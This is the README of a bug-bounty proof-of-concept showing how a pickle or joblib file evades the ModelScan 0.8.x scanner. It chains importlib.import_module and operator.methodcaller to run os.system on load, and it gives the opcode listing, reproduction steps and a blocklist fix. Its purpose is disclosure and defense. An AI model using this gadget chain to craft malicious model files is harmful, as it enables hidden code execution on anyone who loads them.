README.md

# ModelScan 0.8.x ACE Bypass — operator.methodcaller + importlib Gadget Chain

## Summary

This repository contains proof-of-concept files demonstrating a bypass of ModelScan 0.8.x
(latest) for the Protect AI / huntr.com Model Format Vulnerability bug bounty program.

The `.pkl` and `.joblib` files in this repo execute arbitrary commands at deserialization
time while passing ModelScan's scan as "No issues found."

## Vulnerability

**Affected scanner:** ModelScan 0.8.8
**Affected file types:** .pkl .pickle .joblib .dill .dat .data
**Impact:** Arbitrary Code Execution at model-load time, scanner bypass

ModelScan's `unsafe_globals` blocklist explicitly blocks `operator.attrgetter` with a
comment documenting the operator gadget pattern, but omits `operator.methodcaller`,
which achieves equivalent method invocation on runtime objects. The `importlib` module
is entirely absent from the blocklist.

## Gadget Chain

```
importlib.import_module("os")        <- not in ModelScan blocklist
operator.methodcaller("system", CMD) <- not in ModelScan blocklist
                                        (only attrgetter is blocked)
```

Execution:
```
operator.methodcaller("system", CMD)(importlib.import_module("os"))
= os.system(CMD)
```

## Globals extracted by ModelScan

```python
{('importlib', 'import_module'), ('operator', 'methodcaller')}
```

Neither is in `unsafe_globals`. ModelScan reports CLEAN.

## Reproduction

### Requirements

```
pip install modelscan joblib
```

### Step 1 - Verify execution

```python
import pickle

with open("poc_modelscan_bypass.pkl", "rb") as f:
    data = f.read()

# This executes os.system("id > /tmp/ml_pwned") immediately
pickle.loads(data)

import os
assert os.path.exists("/tmp/ml_pwned")
print("ACE confirmed:", open("/tmp/ml_pwned").read())
```

### Step 2 - Verify ModelScan bypass

```
modelscan -p poc_modelscan_bypass.pkl
```

Expected output:
```
No issues found!
```

### Step 3 - Verify joblib.load() also triggers

```python
import joblib
joblib.load("poc_modelscan_bypass.joblib")
# Same RCE fires
```

## Pickle Bytecode (protocol 4)

```
PROTO      4
FRAME      107
SHORT_BINUNICODE 'importlib'    MEMOIZE (as 0)
SHORT_BINUNICODE 'import_module' MEMOIZE (as 1)
STACK_GLOBAL                    MEMOIZE (as 2)   <- importlib.import_module
SHORT_BINUNICODE 'os'           MEMOIZE (as 3)
TUPLE1                          MEMOIZE (as 4)
REDUCE                          MEMOIZE (as 5)   <- os module
POP
SHORT_BINUNICODE 'operator'     MEMOIZE (as 6)
SHORT_BINUNICODE 'methodcaller' MEMOIZE (as 7)
STACK_GLOBAL                    MEMOIZE (as 8)   <- operator.methodcaller
SHORT_BINUNICODE 'system'       MEMOIZE (as 9)
SHORT_BINUNICODE 'id > ...'     MEMOIZE (as 10)
TUPLE2                          MEMOIZE (as 11)
REDUCE                          MEMOIZE (as 12)  <- methodcaller("system", cmd)
BINGET     5                                     <- retrieve os module
TUPLE1
REDUCE                                           <- os.system(cmd) -> RCE
STOP
```

## Root Cause

`modelscan/settings.py` line in `unsafe_globals`:

```python
# Current (vulnerable)
"operator": [
    "attrgetter",  # Ex of code execution: operator.attrgetter("system")(__import__("os"))("echo pwned")
],
```

The developer documented the operator gadget pattern but only blocked `attrgetter`.
`methodcaller` achieves the same result through method dispatch on runtime objects.

## Fix

```python
# Fixed
"operator": ["attrgetter", "methodcaller", "itemgetter"],
"importlib": "*",
```

## Files

| File | Description |
|------|-------------|
| poc_modelscan_bypass.pkl | Malicious pickle — passes ModelScan, executes os.system() |
| poc_modelscan_bypass.joblib | Same payload, .joblib extension |
| poc_modelscan_bypass.py | Python script that generates and verifies the PoC |

## Ethical Use

This PoC uses a benign indicator (`id > /tmp/ml_pwned`) to demonstrate code execution.
It is submitted exclusively through the official Protect AI / huntr.com bug bounty program.
Do not use against systems you do not own.